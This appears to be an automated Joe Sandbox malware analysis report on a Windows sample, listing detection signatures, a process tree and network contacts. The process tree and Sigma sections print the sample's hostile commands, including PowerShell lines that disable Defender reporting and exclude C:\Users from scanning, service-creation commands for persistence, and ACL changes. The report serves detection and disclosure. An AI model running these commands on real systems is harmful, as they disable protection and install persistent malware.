Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1517355
MD5:	07fc5b4f3a432b09b0d51f8b00ef05f3
SHA1:	b098b5f859f45314d5edd03aad9eab420bbdec40
SHA256:	d65629e6028c54eb383b310547426ed1907296a14a2e8977b9d469126de1f8a9
Tags:	exeuser-Bitsight
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Changes security center settings (notifications, updates, antivirus, firewall)

Connects to many ports of the same IP (likely port scanning)

Contains functionality to hide user accounts

Found Tor onion address

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

NDIS Filter Driver detected (likely used to intercept and sniff network traffic)

Query firmware table information (likely to detect VMs)

Sigma detected: Execution from Suspicious Folder

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious New Service Creation

Sigma detected: Suspicious Program Location with Network Connections

AV process strings found (often used to terminate AV products)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to several IPs in different countries

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to create new users

Contains functionality to dynamically determine API calls

Contains functionality to enumerate network shares

Contains functionality to enumerate running services

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query network adapater information

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Enables security privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found evasive API chain checking for process token information

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Modifies existing windows services

One or more processes crash

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries keyboard layouts

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Use Short Name Path in Command Line

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Classification

Process Tree

System is w10x64

svchost.exe (PID: 7136 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

SgrmBroker.exe (PID: 1108 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: 3BA1A18A0DC30A0545E7765CB97D8E63)

svchost.exe (PID: 5408 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 4128 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 6764 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

MpCmdRun.exe (PID: 5488 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: B3676839B2EE96983F9ED735CD044159)

conhost.exe (PID: 5364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 3180 cmdline: C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

file.exe (PID: 3800 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 07FC5B4F3A432B09B0D51F8B00EF05F3)

file.exe (PID: 6132 cmdline: C:\Users\user\Desktop\file.exe MD5: 07FC5B4F3A432B09B0D51F8B00EF05F3)

cmd.exe (PID: 6108 cmdline: "C:\Windows\system32\cmd.exe" /k "C:\Users\user~1\AppData\Local\Temp\sobuolvnbi3uboa4e.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1352 cmdline: powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7332 cmdline: powershell.exe -NoLogo -Command "Set-MpPreference -MAPSReporting 0" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7456 cmdline: powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath 'C:\Users\'" MD5: 04029E121A0CFA5991749937DD22A1D9)

lr75sq5smrngkif9fpn.exe (PID: 7172 cmdline: "C:\Users\user~1\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe" MD5: 319865D78CC8DF6270E27521B8182BFF)

yhar2he6rpt6n0h1w6rh.exe (PID: 7704 cmdline: "C:\Users\user~1\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe" MD5: 7D1755E8E41A6C2F08D2FAEFFDF9DAD1)

taskkill.exe (PID: 7736 cmdline: taskkill.exe /F /FI "SERVICES eq RDP-Controller" MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 7744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7792 cmdline: sc.exe stop RDP-Controller MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7848 cmdline: sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7900 cmdline: sc.exe failure RDP-Controller reset= 1 actions= restart/10000 MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7944 cmdline: sc.exe start RDP-Controller MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

icacls.exe (PID: 8016 cmdline: icacls.exe C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\ /setowner *S-1-5-18 MD5: 48C87E3B3003A2413D6399EA77707F5D)

conhost.exe (PID: 8024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

icacls.exe (PID: 8060 cmdline: icacls.exe C:\Users\Public /restore C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\95cRhCj4pPDP.acl MD5: 48C87E3B3003A2413D6399EA77707F5D)

conhost.exe (PID: 8068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 3232 cmdline: C:\Windows\system32\svchost.exe -k LocalService -s W32Time MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

main.exe (PID: 7988 cmdline: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe MD5: 4E320E2F46342D6D4657D2ADBF1F22D0)

WerFault.exe (PID: 2056 cmdline: C:\Windows\system32\WerFault.exe -u -p 7988 -s 1128 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

svchost.exe (PID: 7216 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 336 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 3088 cmdline: C:\Windows\system32\WerFault.exe -pss -s 440 -p 7988 -ip 7988 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

svchost.exe (PID: 3824 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

main.exe (PID: 3260 cmdline: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe MD5: 4E320E2F46342D6D4657D2ADBF1F22D0)

cleanup

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe, CommandLine: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe, CommandLine|base64offset|contains: , Image: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe, NewProcessName: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe, OriginalFileName: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3088, ProcessCommandLine: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe, ProcessId: 7988, ProcessName: main.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend", CommandLine: powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /k "C:\Users\user~1\AppData\Local\Temp\sobuolvnbi3uboa4e.bat", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6108, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend", ProcessId: 1352, ProcessName: powershell.exe

Sigma detected: Suspicious New Service Creation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore, CommandLine: sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore, CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user~1\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe, ParentProcessId: 7704, ParentProcessName: yhar2he6rpt6n0h1w6rh.exe, ProcessCommandLine: sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore, ProcessId: 7848, ProcessName: sc.exe

Sigma detected: Suspicious Program Location with Network Connections

Source: Network Connection

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: DestinationIp: 184.65.173.183, DestinationIsIpv6: false, DestinationPort: 11171, EventID: 3, Image: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe, Initiated: true, ProcessId: 7988, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49714

Sigma detected: Powershell Defender Exclusion

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath 'C:\Users\'", CommandLine: powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath 'C:\Users\'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /k "C:\Users\user~1\AppData\Local\Temp\sobuolvnbi3uboa4e.bat", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6108, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath 'C:\Users\'", ProcessId: 7456, ProcessName: powershell.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\system32\cmd.exe" /k "C:\Users\user~1\AppData\Local\Temp\sobuolvnbi3uboa4e.bat", CommandLine: "C:\Windows\system32\cmd.exe" /k "C:\Users\user~1\AppData\Local\Temp\sobuolvnbi3uboa4e.bat", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Users\user\Desktop\file.exe, ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6132, ParentProcessName: file.exe, ProcessCommandLine: "C:\Windows\system32\cmd.exe" /k "C:\Users\user~1\AppData\Local\Temp\sobuolvnbi3uboa4e.bat", ProcessId: 6108, ProcessName: cmd.exe

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore, CommandLine: sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore, CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user~1\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe, ParentProcessId: 7704, ParentProcessName: yhar2he6rpt6n0h1w6rh.exe, ProcessCommandLine: sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore, ProcessId: 7848, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend", CommandLine: powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /k "C:\Users\user~1\AppData\Local\Temp\sobuolvnbi3uboa4e.bat", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6108, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend", ProcessId: 1352, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, ProcessId: 7136, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE Suspected BPFDoor TCP Magic Packet (Inbound)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T01:11:15.400506+0200	2036752	1	A Network Trojan was detected	94.156.68.124	1122	192.168.2.7	49700	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe

ReversingLabs: Detection: 18%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe

File created: C:\Users\user~1\AppData\Local\Temp\installer.log

Jump to behavior

Source:	Binary string: RfxVmt.pdb source: yhar2he6rpt6n0h1w6rh.exe, 00000012.00000002.1546713788.00007FF70C31E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 0000001D.00000002.2203168945.0000027B43FE4000.00000004.00000020.00020000.00000000.sdmp, T9229YlC.29.dr, update.pkg.18.dr
Source:	Binary string: RfxVmt.pdbGCTL source: yhar2he6rpt6n0h1w6rh.exe, 00000012.00000002.1546713788.00007FF70C31E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 0000001D.00000002.2203168945.0000027B43FE4000.00000004.00000020.00020000.00000000.sdmp, T9229YlC.29.dr, update.pkg.18.dr

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB22706D5F NetApiBufferFree,NetUserEnum,GetProcessHeap,HeapAlloc,memcpy,GetProcessHeap,HeapFree,		29_2_00007FFB22706D5F
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB22706DA3 LocalAlloc,wcsncpy,LookupAccountNameW,GetLastError,GetLastError,LocalAlloc,LookupAccountNameW,LocalFree,GetLastError,ConvertSidToStringSidA,GetLastError,wcslen,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,NetApiBufferFree,NetUserEnum,GetProcessHeap,HeapAlloc,memcpy,GetProcessHeap,HeapFree,		29_2_00007FFB22706DA3

Source: C:\Users\user\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe	Code function: 13_2_00007FF7E3CE3DB3 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	13_2_00007FF7E3CE3DB3
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FF7AABD47A3 FindNextFileA,_mbscpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	29_2_00007FF7AABD47A3
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB2270A083 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	29_2_00007FFB2270A083
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB22731883 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	29_2_00007FFB22731883
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB22765BF3 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	29_2_00007FFB22765BF3
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB23AB57B3 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	29_2_00007FFB23AB57B3
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB23AD5203 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	29_2_00007FFB23AD5203
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB23B02FE3 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	29_2_00007FFB23B02FE3

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2036752 - Severity 1 - ET MALWARE Suspected BPFDoor TCP Magic Packet (Inbound) : 94.156.68.124:1122 -> 192.168.2.7:49700

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 88.210.6.42 ports 25314,1,2,3,4,5
Source: global traffic	TCP traffic: 141.98.234.85 ports 42069,0,2,4,6,9

Found Tor onion address

Source: yhar2he6rpt6n0h1w6rh.exe, 00000012.00000002.1546713788.00007FF70C31E000.00000004.00000001.01000000.00000007.sdmp	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/,https://reseed.stormycloud.org/
Source: main.exe	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,ht
Source: main.exe, 0000001D.00000002.2207933627.00007FFB0C164000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/,https://reseed.stormycloud.org/
Source: main.exe, 0000001D.00000002.2206042707.0000027B4440D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/,https://reseed.stormycloud.org/
Source: main.exe, 0000001D.00000002.2206042707.0000027B4440D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/,https://reseed.stormycloud.org/o
Source: main.exe, 0000001D.00000002.2206042707.0000027B4440D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/,https://reseed.stormycloud.org/r
Source: main.exe, 0000001D.00000002.2206042707.0000027B4440D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/,https://reseed.stormycloud.org/c
Source: main.exe, 0000001D.00000002.2203168945.0000027B43FE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/,https://reseed.stormycloud.org/
Source: main.exe	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,ht
Source: main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/,https://reseed.stormycloud.org/
Source: main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/,https://reseed.stormycloud.org/W
Source: main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/,https://reseed.stormycloud.org/J
Source: main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/,https://reseed.stormycloud.org/[
Source: main.exe, 00000029.00000002.2530936773.00007FFB0C164000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/,https://reseed.stormycloud.org/
Source: update.pkg.18.dr	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/,https://reseed.stormycloud.org/

NDIS Filter Driver detected (likely used to intercept and sniff network traffic)

Source: lr75sq5smrngkif9fpn.exe.8.dr

Static PE information: Found NDIS imports: FwpmEngineClose0, FwpmEngineOpen0, FwpmFilterAdd0, FwpmFilterDeleteByKey0, FwpmFreeMemory0, FwpmProviderAdd0, FwpmProviderCreateEnumHandle0, FwpmProviderDestroyEnumHandle0, FwpmProviderEnum0

Source: unknown

Network traffic detected: IP country count 18

Source: global traffic	TCP traffic: 192.168.2.7:49700 -> 94.156.68.124:1122
Source: global traffic	TCP traffic: 192.168.2.7:49714 -> 184.65.173.183:11171
Source: global traffic	TCP traffic: 192.168.2.7:49715 -> 194.207.132.221:17106
Source: global traffic	TCP traffic: 192.168.2.7:49716 -> 85.230.189.73:29072
Source: global traffic	TCP traffic: 192.168.2.7:49717 -> 141.98.234.85:42069
